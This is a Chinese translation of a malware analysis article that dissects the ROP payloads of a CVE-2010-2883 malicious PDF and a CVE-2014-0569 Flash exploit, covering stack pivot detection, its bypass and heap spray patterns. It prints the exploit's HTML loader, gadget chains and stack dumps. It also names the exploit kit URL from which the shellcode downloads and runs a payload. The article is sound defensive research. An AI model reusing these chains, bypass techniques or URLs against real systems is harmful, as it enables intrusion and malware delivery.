深入探讨ROP 载荷分析
0x00 簡(jiǎn)介
Exploit-db上看到的感覺還不錯(cuò),所以就翻譯一下,原文題目為《Deep Dive into ROP Payload Analysis》,作者Sudeep Singh。
這篇文章的主要目的是介紹漏洞利用中的ROP載荷的分析技術(shù),同時(shí)也深入分析一種ROP緩解技術(shù)stack pivot檢測(cè)技術(shù),該技術(shù)目前被用于防護(hù)軟件中。
通過分析之前發(fā)現(xiàn)的兩個(gè)攻擊樣本(CVE-2010-2883 和CVE-2014-0569),對(duì)比了兩個(gè)ROP載荷的復(fù)雜性和繞過stack pivot檢測(cè)技術(shù)的能力對(duì)ROP載荷的詳細(xì)分析將有助于我們更好的了解漏洞利用技術(shù),開發(fā)出更有效的檢測(cè)機(jī)制。
這篇文章主要針對(duì)漏洞分析人員以及對(duì)面向返回的編程(Return Oriented Programming)感興趣的人。
0x01 場(chǎng)景
漏洞利用正變成越來越流行的領(lǐng)域,同時(shí)在類似瀏覽器、Adobe Reader、Flash Player、Microsoft Silverlight 、Java等通用軟件中也經(jīng)常發(fā)現(xiàn)漏洞。由于漏洞利用通常是攻擊中的第一個(gè)階段,因此比較適宜在漏洞利用階段對(duì)攻擊做防護(hù)。
在互聯(lián)網(wǎng)上可以找到有很多用于檢測(cè)和阻止漏洞利用的方案和技術(shù)。這些檢測(cè)機(jī)制通常聚焦于大多數(shù)漏洞的共同特點(diǎn)。例如:
ROP:由于現(xiàn)在的操作系統(tǒng)都默認(rèn)開啟了DEP,因此漏洞利用需要繞過DEP保護(hù)。ROP是繞過DEP最常用的技術(shù)。然而,由于ROP的工作方式,因此可以有很多的特征可以檢測(cè)它。我們將下文中深入分析其中的stack pivot檢測(cè)技術(shù)。
Heap Spray:為了獲取穩(wěn)定的利用,大多數(shù)漏洞利用將載荷噴射到進(jìn)程的地址空間中。當(dāng)漏洞被觸發(fā)時(shí),執(zhí)行流被重定向到噴射在進(jìn)程堆中的載荷導(dǎo)致漏洞被利用。然而,由于Heap Spray技術(shù)的廣泛應(yīng)用,也再一次提供用于檢測(cè)它們的特征。
最常見的特征是用Heap Spray的模式,0x0c0c0c0c是最為大家所熟知的。當(dāng)然也有一些其他的模式也能夠用于Heap Spray。
0x02 利用緩解
這篇文章中,我們主要關(guān)注ROP載荷分析,因此將主要討論stack pivot檢測(cè)技術(shù)。
據(jù)對(duì)多數(shù)漏洞利用主要分為下面幾個(gè)階段:
作為例子,通過一個(gè)UAF(Use After Free)漏洞的結(jié)果,我們將得到如下的場(chǎng)景:
movedx, dwordptr ds:[ecx] ; edx為包含漏洞的C++對(duì)象的虛表指針 pushecx call dwordptr ds:[edx+0x10] ; 調(diào)用攻擊者控制的虛表中的虛函數(shù)因?yàn)槲覀兛刂屏松鲜龅某绦驁?zhí)行流,所以我們能夠?qū)⒖刂屏髦囟ㄏ虻较旅娴膕tack pivot gadget:
xchgeax, esp retn
當(dāng)漏洞被觸發(fā)時(shí),如果eax正指向攻擊者控制的堆中的數(shù)據(jù),通過上面的代碼片段,eax指向的堆空間將變成新的棧。
ROP是非常好的技術(shù),被廣泛的用在現(xiàn)在漏洞攻擊中。這也導(dǎo)致了很多針對(duì)這種利用技術(shù)的檢測(cè)機(jī)制被設(shè)計(jì)出來。
其中一種技術(shù)就是stack pivot檢測(cè)技術(shù)。
當(dāng)ROP鏈執(zhí)行時(shí),攻擊者的最終目標(biāo)是將shellcode重新放置在可執(zhí)行的內(nèi)存區(qū)域以繞過DEP保護(hù)。為了做到這一點(diǎn),攻擊者將調(diào)用一些類似VirtualAlloc的API函數(shù)。這些被攻擊者用于繞過DEP的API是有限的。
由于原始程序的堆棧被切換為指向攻擊者控制的數(shù)據(jù),因此棧指針不再指向棧限以內(nèi)。
程序棧限的信息被存儲(chǔ)在TEB中。
1:020> !teb TEB at 7ffda000 ExceptionList: 0220f908 StackBase: 02210000 StackLimit: 02201000如果棧指針不滿足下面的條件,我們認(rèn)為這是一個(gè)stack pivot:
if(esp>StackLimit&&esp<StackBase)
為了更好的理解這一點(diǎn),我們看一個(gè)PDF的漏洞利用,CVE-2010-2883。
0x03 ROP鏈分析
這篇文章中,我將介紹ROP鏈的分析。請(qǐng)注意,我們并不是分析漏洞的根本原因。我們主要是深入理解ROP載荷是如何工作的。
我將討論兩個(gè)例子。其中一個(gè)例子中,ROP載荷可以被stack pivot檢測(cè)所檢測(cè)到,而另一個(gè)則可以繞過該檢測(cè)。
我們可以通過下面兩種方式分析ROP:
動(dòng)態(tài)分析:可以通過兩種方式進(jìn)行
a)已知的ROP Gadget:某些情況下,可以通過靜態(tài)分析找到ROP gadgets。例如,對(duì)于惡意的PDF文件,可以通過對(duì)進(jìn)行Heap Spray的JavaScript代碼去混淆來定位ROP gadgets。
b)未知的ROP Gadget:某些情況下,在漏洞利用代碼中定位ROP gadgets并不容易。這有可能是因?yàn)楦邚?qiáng)度混淆的代碼或者ROP gadgets將在漏洞利用過程中動(dòng)態(tài)構(gòu)建。
第二種情況下,ROP gadgets在執(zhí)行過程中構(gòu)建,因此我們需要采用其他技術(shù)來調(diào)試。
靜態(tài)分析:當(dāng)能夠找到ROP gadgets時(shí),可以采用該技術(shù) 要分析ROP載荷,我們需要根據(jù)ROP gadgets找到匯編語言代碼。這可以通過在適當(dāng)?shù)哪K地址空間中手工查找每一個(gè)ROP gadgets來完成。但是這樣比較麻煩。為了使這一過程更加高效,我寫了一個(gè)C代碼,它將自動(dòng)的從模塊的地址空間中抽取ROP gadgets對(duì)應(yīng)的字節(jié)碼,可以在附錄一中找到這段代碼。
當(dāng)你把去混淆過的JavaScript中的shellcode寫入一個(gè)文件后,你需要通過IDA來反匯編或者通過一個(gè)十六進(jìn)制編輯器來觀察shellcode。通過這種方式,你可以確定這段shellcode是一段常規(guī)的shellcode還是ROP shellcode。
作為例子,來看一個(gè)惡意的pdf文件,他的MD5值為975d4c98a7ff531c26ab255447127ebb,他利用CVE-2010-2883的漏洞進(jìn)行攻擊。
在轉(zhuǎn)儲(chǔ)shellcode到文件中以后,通過十六進(jìn)制編輯器打開文件,可以看到它不是一個(gè)常規(guī)的shellcode。我已經(jīng)標(biāo)示出了其中一些ROP gadgets:
通常情況下,所有的ROP gadgets將從同一個(gè)未被基址隨機(jī)化的模塊中選取。這種情況下,可以看到所有的gadgets都來自一個(gè)模塊,它的基址是0x07000000。通過Windbg打開Adobe Reader,可以看到BIB.dll模塊占用了0x07000000的地址。
因此,在這個(gè)例子中所有的ROP gadgets都是從這個(gè)模塊中選擇的。
通過我的代碼,根據(jù)每一個(gè)ROP gadget來檢查該模塊的地址空間,查找相應(yīng)的字節(jié)碼,并記錄到另一個(gè)文件中。
我的代碼將區(qū)分ROP gadgets和ROP gadgets的參數(shù)。現(xiàn)在通過IDA加載這個(gè)文件,標(biāo)記適當(dāng)?shù)墓?jié)為代碼和數(shù)據(jù)。
現(xiàn)在我們就能更高效的分析ROP shellcode了。 某些情況下,我們需要單步跟蹤ROP shellcode來更好的理解他。這種情況下,我們就需要調(diào)試ROP shellcode,可以通過在ROP鏈的第一個(gè)ROP gadget上設(shè)置斷點(diǎn)來調(diào)試。
作為例子,我將采用之前的惡意PDF樣本,該樣本可以在Adobe Reader大于等于9.0并且小于等于9.4.0的版本中利用。
這個(gè)惡意的PDF包含多條ROP載荷,將根據(jù)Adobe Reader的版本來選取ROP載荷。我們現(xiàn)在就來看采用了icucnv36.dll中的ROP gadgets的ROP shellcode。
我們通過windbg打開Adobe Reader,可以按g來運(yùn)行Adobe Reader,觀察它加載了更多的模塊。
特別主要注意的是,這里icucnv36.dll還沒有被Adobe Reader加載。如果我在第一個(gè)ROP gadget上設(shè)置斷點(diǎn),將不允許這樣做并顯示如下信息:
這是因?yàn)槲覀冋趪L試在一個(gè)還沒有加載的dll地址空間中設(shè)置斷點(diǎn)。
通過如下命令,當(dāng)模塊加載時(shí),將自動(dòng)中斷到調(diào)試器:
sxe ld icucnv36.dll
現(xiàn)在,運(yùn)行Adobe Reader進(jìn)程,打開惡意的PDF文件,很快icucnv36.dll被加載,同時(shí)自動(dòng)中斷到調(diào)試器。
現(xiàn)在就能夠成功的在第一個(gè)ROP gadget上設(shè)置斷點(diǎn)。
現(xiàn)在執(zhí)行進(jìn)程,很快第一個(gè)ROP gadget被執(zhí)行了,中斷到了調(diào)試器。當(dāng)我們觀察寄存器的內(nèi)容,可以看到esp指向了0x0c0c0c10。
通過stack pivot gadget攻擊者能夠成功的切換堆棧。
如果觀察地址空間中的內(nèi)容,在0x0c0c0c0c處可以看到整個(gè)ROP shellcode。
這樣就能夠調(diào)試ROP shellcode,在調(diào)試器中進(jìn)行單步跟蹤。
讓我們看看這個(gè)惡意PDF文檔如何因?yàn)閟tack pivot被檢測(cè)到。如果我們進(jìn)一步追蹤ROP鏈,我們注意到它通過0x4a80b692處的ROP gadget調(diào)用了API函數(shù)CreateFileA。
現(xiàn)在我們?cè)贏PI函數(shù)CreateFileA()上。
如果檢查TEB中的StackBase和StackLimit的值,可以看到esp在這個(gè)范圍以外。如果安全軟件在CreateFileA()上設(shè)置了API鉤子,這個(gè)漏洞利用將在stack pivot階段被很容易的檢測(cè)到。
0x04 Stack Pivot 檢測(cè)繞過
我們現(xiàn)在來看最近剛發(fā)現(xiàn)的利用CVE-2014-0569漏洞的樣本,它使用了可以繞過stack pivot檢測(cè)的ROP載荷。這種ROP載荷之前并沒有看到過。之前它只是一種概念性的證明,而現(xiàn)在已經(jīng)被用于實(shí)際的漏洞利用中。
我在下面的地址處找到了該漏洞樣本完整的網(wǎng)絡(luò)流量的PCAP文件:
http://malware-traffic-analysis.net/2014/10/30/index2.html
正如下圖看到的,該漏洞利用工具部署在kethanlingtoro.eu處。
下面的HTML代碼用于在瀏覽器中加載惡意swf文件,觸發(fā)在Adobe Flash Player插件中的漏洞。
| 1 2 3 4 5 6 7 8 9 10 11 | <html> <body> <objectclassid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"width="10"height="10"/><paramname="movie"value="Main.swf"/> <paramname="allowFullScreen"value="false"/> <paramname="allowScriptAccess"value="always"/> <paramname="FlashVars" value="exec=3558584f737a7a6c415835233d57263d31585548553941347a6e42644c4c365a6b646a6b4c507a57557257236b394f354f"/> <paramname="Play"value="true"/> <embedtype="application/x-shockwaveflash"width="10"height="10"src="Main.swf" allowScriptAccess="always" FlashVars="exec=3558584f737a7a6c415835233d57263d31585548553941347a6e42644c4c365a6b646a6b4c507a57557257236b394f354f" Play="true" allowFullScreen="false"/> </object> </body> </html> |
請(qǐng)注意上面?zhèn)鬟f給Flash加載器的參數(shù)是采用FlashVars。這對(duì)與漏洞利用是需要的,如果沒有它,惡意的swf文件將導(dǎo)致奔潰。
在這個(gè)例子中,惡意的swf文件被高度的混淆,如下圖所示,常用的Flash Decompilers也不能成功的反編譯這些代碼。因此通過靜態(tài)分析來定位ROP gadgets并不容易。
通過查看反匯編后的Flash代碼,可以看到在漏洞利用函數(shù)中它使用了一個(gè)Sound對(duì)象,同時(shí)調(diào)用了它的toString()方法。采用Sound對(duì)象進(jìn)行漏洞利用的技術(shù)在當(dāng)前很流行。通過該漏洞,Sound對(duì)象的虛函數(shù)表將被重寫,而這將最終導(dǎo)致攻擊者控制程序的執(zhí)行流。
Sound對(duì)象:
Sound對(duì)象的toString()方法被調(diào)用:
下面來看如何通過調(diào)試器來分析這個(gè)ROP載荷。
環(huán)境信息:
操作系統(tǒng):Win 7 SP1 32-bit
Flash Player 版本:15.0.0.167
因?yàn)槲覀冎繱ound對(duì)象的虛函數(shù)表將被攻擊者控制,所以可以在調(diào)用Sound對(duì)象調(diào)用toString()方法的地方設(shè)置斷點(diǎn)來調(diào)試這個(gè)ROP載荷。
將windbg附加到Internet Explorer上。在加載惡意的web頁面到瀏覽器之前,我們可以在從C:\Windows\system32\Macromed\Flash\ 加載Flash32_15_0_0_167.ocx時(shí)設(shè)置模塊加載斷點(diǎn)。
sxe ld Flash32_15_0_0_167.ocx
現(xiàn)在我們加載web頁面,這將中斷到調(diào)試器。
由于該模塊開啟了基址隨機(jī)化,因此調(diào)用toString()方法的地址每次都會(huì)變動(dòng)。我們首先找到這個(gè)地址:
1:021> u Flash32_15_0_0_167!IAEModule_IAEKernel_UnloadModule+0x11c185 Flash32_15_0_0_167!IAEModule_IAEKernel_UnloadModule+0x11c185: 5eef8945 ffd2 call edx 5eef8947 5e pop esi 5eef8948 c20400 ret 4我們?cè)?x5eef8945處設(shè)置斷點(diǎn)。
我們運(yùn)行該漏洞利用,它將中斷到上述地址,如下:
1:021> g Breakpoint 0 hit eax=070ab000 ebx=0202edf0 ecx=06a92020 edx=5e8805bb esi=0697c020 edi=0697c020 eip=5eef8945 esp=0202ed38 ebp=0202ed60 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202 Flash32_15_0_0_167!IAEModule_IAEKernel_UnloadModule+0x11c185: 5eef8945 ffd2 call edx {Flash32_15_0_0_167+0x205bb (5e8805bb)}如果我們查看該指令之前的反匯編代碼,我們將看到在漏洞利用中,完整的Sound對(duì)象的虛函數(shù)表都被改寫了,如下圖:
5eef8940 8b01 mov eax,dword ptr [ecx] 5eef8942 8b5070 mov edx,dword ptr [eax+70h] 5eef8945 ffd2 call edx {Flash32_15_0_0_167+0x205bb (5e8805bb)} ecx = Sound Object eax = VTable of the Sound Object [eax+0x70] = address of toString() method同時(shí)我們可以看到,在虛函數(shù)表中所有的虛函數(shù)都被重寫為0x5e861193 (retn指令)。toString()方法的虛函數(shù)指針已經(jīng)被改寫為0x5e8805bb。
1:021> dd eax 081ab000 5e861193 5e861193 5e861193 5e861193 081ab010 5e861193 5e861193 5e861193 5e861193 081ab020 5e861193 5e861193 5e861193 5e861193 081ab030 5e861193 5e861193 5e861193 5e861193 081ab040 5e861193 5e861193 5e861193 5e861193 081ab050 5e861193 5e861193 5e861193 5e861193 081ab060 5e861193 5e861193 5e861193 5e861192 081ab070 5e8805bb 5e8c1478 5e8c1478 5e8c1478我們查看一下0x5e8805bb處的反匯編代碼:
1:021> u 5e8805bb Flash32_15_0_0_167+0x205bb: 5e8805bb 94 xchg eax,esp 5e8805bc c3 ret這就是stack pivot gadget,這意味著攻擊者控制著eax的值以及它指向的數(shù)據(jù)。讓我們查看一下:
1:021> dd eax 070ab000 5e861193 5e861193 5e861193 5e861193 070ab010 5e861193 5e861193 5e861193 5e861193 070ab020 5e861193 5e861193 5e861193 5e861193 070ab030 5e861193 5e861193 5e861193 5e861193 070ab040 5e861193 5e861193 5e861193 5e861193 070ab050 5e861193 5e861193 5e861193 5e861193 070ab060 5e861193 5e861193 5e861193 5e861192 070ab070 5e8805bb 5e8c1478 5e8c1478 5e8c1478在我們的ROP載荷中,所有的gadgets都來自于Flash32_15_0_0_167.ocx這個(gè)模塊。
同時(shí),需要注意的是stack pivot后,原始的esp的值將存儲(chǔ)在eax中。
在ROP鏈中可以看到很多的gadgets指向0x5e861193,正如下面所看到的的,他們都是返回指令。
1:021> u 5e861193 Flash32_15_0_0_167+0x1193: 5e861193 c3 ret上面一系列返回指令執(zhí)行之后,我們可以看到
1:021> u eip Flash32_15_0_0_167+0x1192: 5e861192 59 pop ecx 5e861193 c3 ret這個(gè)ROP gadget將ecx的值設(shè)置為0x5e8805bb
1:021> dd esp 070ab070 5e8805bb 5e8c1478 5e8c1478 5e8c1478 070ab080 5e8c1478 5e861192 5e8e2e45 5e89a4ca接下來的ROP gadget出現(xiàn)了四次。
1:021> u eip Flash32_15_0_0_167+0x61478: 5e8c1478 48 dec eax 5e8c1479 c3 ret正如我們之前提到的,在stack pivot執(zhí)行前的原始esp的值已經(jīng)被存儲(chǔ)在了eax中。因此,eax減小四次,就是在原始棧上開辟出一個(gè)四字節(jié)。
1:021> u eip Flash32_15_0_0_167+0x1192: 5e861192 59 pop ecx 5e861193 c3 ret在當(dāng)前棧上包含下面的數(shù)據(jù):
1:021> dd esp 070ab088 5e8e2e45 5e89a4ca 41414141 5e8c1478 070ab098 5e8c1478 5e8c1478 5e8c1478 5e861192通過上面的ROP gadget,ecx的值被設(shè)置為0x5e8e2e45,然后
1:021> u eip Flash32_15_0_0_167+0x3a4ca: 5e89a4ca 8908 mov dword ptr [eax],ecx 5e89a4cc 5d pop ebp 5e89a4cd c3 ret這將存儲(chǔ)ecx的值在原始堆棧上(esp-4處)
下一個(gè)ROP gadget將0x41414141彈出到ebp中,這只是為了填充用。因?yàn)槲覀兊腞OP gadget在返回之前包含了一條pop ebp指令。 上面這些ROP gadgets將被多次執(zhí)行。我們可以總結(jié)如下:
Gadget 1: dec eax; retn這個(gè)ROP gadget執(zhí)行四次可以再原始堆棧上開辟1個(gè)DWORD。
Gadget 2: pop ecx; retn設(shè)置ecx寄存器的值。
Gadget 3: mov dword ptr [eax], ecx; pop ebp; retn將ecx的值移入原始堆棧中。
也就是說,ROP載荷通過攻擊者的緩沖區(qū)中的數(shù)據(jù)來精心設(shè)置原始堆棧中的數(shù)據(jù)。
繼續(xù)跟蹤ROP載荷,最終發(fā)現(xiàn)stack pivot將再次被執(zhí)行。
如果現(xiàn)在查看原始堆棧,可以看到堆棧被精心布置,stack pivot將重定向控制流到kernel32!VirtualAllocStub()。
在堆棧上精心布置的VirtualAlloc的參數(shù)如下:
這意味著,ROP載荷將分配具有PAGE_EXECUTE_READWRITE (0x40) 和 MEM_COMMIT (0x1000)屬性的0x1000字節(jié)的內(nèi)存空間。
我們查看一下TEB中的StackBase和StackLimit的值。
如下所示,棧指針在StackBase和StackLimit的范圍以內(nèi),因此stack pivot緩解措施將不能阻止該漏洞利用。
進(jìn)一步分析,在調(diào)用VirtualAllocStub()的點(diǎn),堆棧布局如下:
1:020> dd esp 0220ec50 5e861193 00000000 00001000 00001000 0220ec60 00000040 5e861192 c30c4889 5e89a4ca 0220ec70 41414141 5e861192 9090a5f3 5e8e2e45 0220ec80 5e861192 c3084889 5e89a4ca 41414141 0220ec90 5e861192 90909090 5e8e2e45 5e861192 0220eca0 c3044889 5e89a4ca 41414141 5e861192 0220ecb0 9090ee87 5e8e2e45 5e861192 10788d60 0220ecc0 5e89a4ca 070514b8 5e861192 00000143在返回地址0x5e861193處設(shè)置斷點(diǎn),新分配的內(nèi)存地址0x1c100000存儲(chǔ)在eax中。 接下來的ROP載荷也很有趣:
1:020> dd esp 0220ec64 5e861192 c30c4889 5e89a4ca 41414141 0220ec74 5e861192 9090a5f3 5e8e2e45 5e861192 0220ec84 c3084889 5e89a4ca 41414141 5e861192 0220ec94 90909090 5e8e2e45 5e861192 c3044889 0220eca4 5e89a4ca 41414141 5e861192 9090ee87 0220ecb4 5e8e2e45 5e861192 10788d60 5e89a4ca 0220ecc4 070514b8 5e861192 00000143 5e8e2e45 0220ecd4 5eef8947 068e2bf8 5eedecc1 06a50021我已經(jīng)將其總結(jié)如下:
pop ecx/retn ; set ecx to 0xc30c4889 mov dword ptr [eax], ecx/pop ebp/retn ; move ecx to newly allocated memory (pointed by eax) pop ecx/retn ; set ecx to 0x9090a5f3 push eax/retn ; redirect execution to newly allocated memory mov dword ptr [eax+0xc], ecx/ retn ; mov ecx to newly allocated memory (screenshot 9) pop ecx/retn ; set ecx to 0xc3084889 mov dword ptr [eax], ecx/pop ebp/retn ; move ecx to newly allocated memory (pointed by eax) pop ecx/retn ; set ecx to 0x90909090 push eax/retn ; redirect execution to newly allocated memory mov dword ptr [eax+0x8], ecx/retn ; move ecx to newly allocated memory (pointed by eax) pop ecx/retn ; set ecx to 0xc3044889 mov dword ptr [eax], ecx/pop ebp/retn ; move ecx to newly allocated memory (pointed by eax) pop ecx/retn ; set ecx to 0x9090ee87 push eax/retn ; redirect execution to newly allocated memory mov dword ptr [eax+0x4], ecx/retn; move ecx to newly allocated memory (pointed by eax) pop ecx/retn ; set ecx to 0x10788d60 mov dword ptr [eax], ecx/retn ; pop ecx/retn ; set ecx to 0x143 push eax/retn ; now we are at the shellcode這部分ROP載荷將從主shellcode中拷貝0x143個(gè)DWORD到新分配的內(nèi)存空間中。
現(xiàn)在就是第二階段的shellcode了。
進(jìn)一步對(duì)代碼進(jìn)行跟蹤,將看到動(dòng)態(tài)查找kernelbase.dll基址以及計(jì)算VirtualProtect函數(shù)地址。
這將修改0x01c10060處0x4b3字節(jié)大小內(nèi)存區(qū)域的保護(hù)屬性。然后調(diào)用GetTempPathA 構(gòu)建路徑C:\Users\n3on\AppData\Local\Temp\stuprt.exe。
通過LoadLibraryA加載wininet.dll庫。
然后可以看到通過調(diào)用InternetOpenUrlA從http://kethanlingtoro.eu/xs3884y132186/lofla1.php下載載荷。
我們可以確定這和PCAP文件中是相同的URL,如下所示:
載荷將被存儲(chǔ)在C:\Users\n3on\AppData\Local\Temp\stuprt.exe,并被執(zhí)行。
通過這種方式,我們能夠通過調(diào)試器分析ROP載荷以及shellcode。
下面來看另一種分析這種載荷的方法。
我們知道一旦中斷到Sound對(duì)象調(diào)用toString()方法的call指令上,它將重定向控制流到stack pivot gadget。這種情況下,攻擊者可以控制eax的值以及這個(gè)位置上的數(shù)據(jù)。
我們可以從內(nèi)存中轉(zhuǎn)儲(chǔ)ROP載荷和shellcode到文件中。正如下面看到的,可以使用writemem命令從內(nèi)存中轉(zhuǎn)儲(chǔ)大約0x1500字節(jié)的shellcode到rop.txt文件中。
接下來,寫一個(gè)C程序,打印rop.txt中的DWORD列表。
在轉(zhuǎn)儲(chǔ)ROP載荷的同時(shí),保存Flash32_15_0_0_167.ocx的基址也很重要(因?yàn)橛捎诨冯S機(jī)化的開啟,我們需要基地址來計(jì)算ROP gadgets的相對(duì)虛擬地址)。
通過之前寫的C代碼,可以根據(jù)rop.txt中的ROP gadgets找到所有的字節(jié)碼。
完整的繞過stack pivot檢測(cè)的ROP鏈在附錄2中。
0x05 Heap Spray 模式
由于ROP是和Heap Spray技術(shù)一起使用的,因此討論一下這兩個(gè)漏洞利用中的heap spray模式的不同。在第一個(gè)例子中,當(dāng)我們?cè)谡{(diào)試器中,中斷到惡意PDF的第一個(gè)ROP gadget時(shí),我們進(jìn)行一下堆分析。
CVE-2010-2883 (惡意 PDF)
!heap -stat
可以看到在00390000處分配的堆空間具有最大的提交字節(jié)。讓我們進(jìn)行進(jìn)一步的分析:
0:000> !heap -stat -h 00390000
正如所看到的,它包含了0x1f0個(gè)大小為0xfefc字節(jié)大小的塊。這是一種非常固定的分配模式,也是一張很好地識(shí)別heap spray的標(biāo)記。 進(jìn)一步枚舉所有大小為0xfefc字節(jié)的堆塊
0:000> !heap -flt s fefec _HEAP @ 150000 _HEAP @ 250000 _HEAP @ 260000 _HEAP @ 360000 _HEAP @ 390000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state invalid allocation size, possible heap corruption 039c0018 1fdfd 0000 [0b] 039c0020 fefec - (busy VirtualAlloc)如果轉(zhuǎn)儲(chǔ)處0x039c0020處的內(nèi)存,可以看到NOP模式:
0:000> dd 039c0020 039c0020 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 039c0030 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 039c0040 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 039c0050 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 039c0060 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 039c0070 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 039c0080 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 039c0090 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c這種模式是安全軟件識(shí)別heap spray的一個(gè)好的標(biāo)志,例如EMET檢測(cè)heap spray。
CVE-2014-0569 (惡意 SWF)
如果檢查第二個(gè)例子中的堆塊分配,將發(fā)現(xiàn)沒有任何固定的模式。
當(dāng)中斷到stack pivot gadget時(shí),進(jìn)行堆分析:
0:000> !heap -stat _HEAP 00900000 Segments 00000001 Reserved bytes 00100000 Committed bytes 00100000 VirtAllocBlocks 00000000 VirtAlloc bytes 00000000 _HEAP 00150000 Segments 00000001 Reserved bytes 00100000 Committed bytes 00082000 VirtAllocBlocks 00000000 VirtAlloc bytes 00000000上面的兩塊包含了最大數(shù)量的提交字節(jié)。
對(duì)于0x00900000處的堆
0:000> !heap -stat -h 00900000 heap @ 00900000 group-by: TOTSIZE max-display: 20 size #blocks total ( %) (percent of total busy bytes)windbg沒有給出該堆的統(tǒng)計(jì)信息。檢查另一個(gè)堆。
0:000> !heap -stat -h 00150000 heap @ 00150000 group-by: TOTSIZE max-display: 20 size #blocks total ( %) (percent of total busy bytes) 8000 1 - 8000 (7.52) 20 31d - 63a0 (5.85) 57f0 1 - 57f0 (5.17) 4ffc 1 - 4ffc (4.70) 614 c - 48f0 (4.28) 3980 1 - 3980 (3.38) 388 10 - 3880 (3.32) 2a4 13 - 322c (2.95) 800 6 - 3000 (2.82) 580 8 - 2c00 (2.58)這里并沒有看到固定的模式,也就是說在第二個(gè)漏洞利用中,類似EMET的安全軟件對(duì)于heap spray的檢測(cè)方法將無法工作。
因?yàn)樵诘诙€(gè)漏洞利用中,在內(nèi)存空間中噴射了AS3 Flash Vector對(duì)象,可以查看這些對(duì)象:
03f4d000 000003fe 03162000 0beedead 0000027f ..... .......... 03f4f000 000003fe 03162000 0beedead 00000280 ..... .......... 03f51000 000003fe 03162000 0beedead 00000281 ..... .......... 03f53000 000003fe 03162000 0beedead 00000282 ..... .......... 03f55000 000003fe 03162000 0beedead 00000283 ..... .......... 03f57000 000003fe 03162000 0beedead 00000284 ..... .......... 03f59000 000003fe 03162000 0beedead 00000285 ..... .......... 03f5b000 000003fe 03162000 0beedead 00000286 ..... .......... 03f5d000 000003fe 03162000 0beedead 00000287 ..... ..........
其中0x3fe是Vector對(duì)象的長度。
大多數(shù)最近的漏洞利用的流程如下:
惡意SWF文件通過使用ActionScript代碼噴射Flash Vector對(duì)象
觸發(fā)漏洞,這將允許修改內(nèi)存地址空間中的值。
在CVE-2014-0322中, 可以得到一個(gè)UAF崩潰,在inc dword ptr ds:[eax+0x10]處。
如果攻擊者可以將eax+0x10指向噴射的Flash Vector對(duì)象的長度域,就能增加這個(gè)長度。
在所有這些漏洞利用中,控制流程都有一些共同的屬性:
Vector對(duì)象的長度被設(shè)置為0x3fe。
由于Flash AS3 Vector對(duì)象在內(nèi)存中的分配方式,他們按照0x1000字節(jié)邊界對(duì)齊。
都通過破壞Sound對(duì)象的虛函數(shù)表,然后調(diào)用toString()方法來獲取程序控制流。
基于此,檢測(cè)這種Vector對(duì)象的噴射是很重要的。
0x06 結(jié)論
可以看到由于新的漏洞利用檢測(cè)技術(shù)被安全軟件所使用,漏洞利用的過程也變得更加復(fù)雜。顯然用于攻擊的漏洞利用也注意到了這些檢測(cè)技術(shù)并嘗試?yán)@過他們。通過閱讀這篇文章,你將能夠深入的分析漏洞利用中的ROP載荷。
0x07 附錄
這里有兩個(gè)附錄的文件用來參考
附錄
原文地址: http://drops.wooyun.org/papers/4077
總結(jié)
以上是生活随笔為你收集整理的深入探讨ROP 载荷分析的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 通过QEMU 和 IDA Pro远程调试
- 下一篇: 逆向基础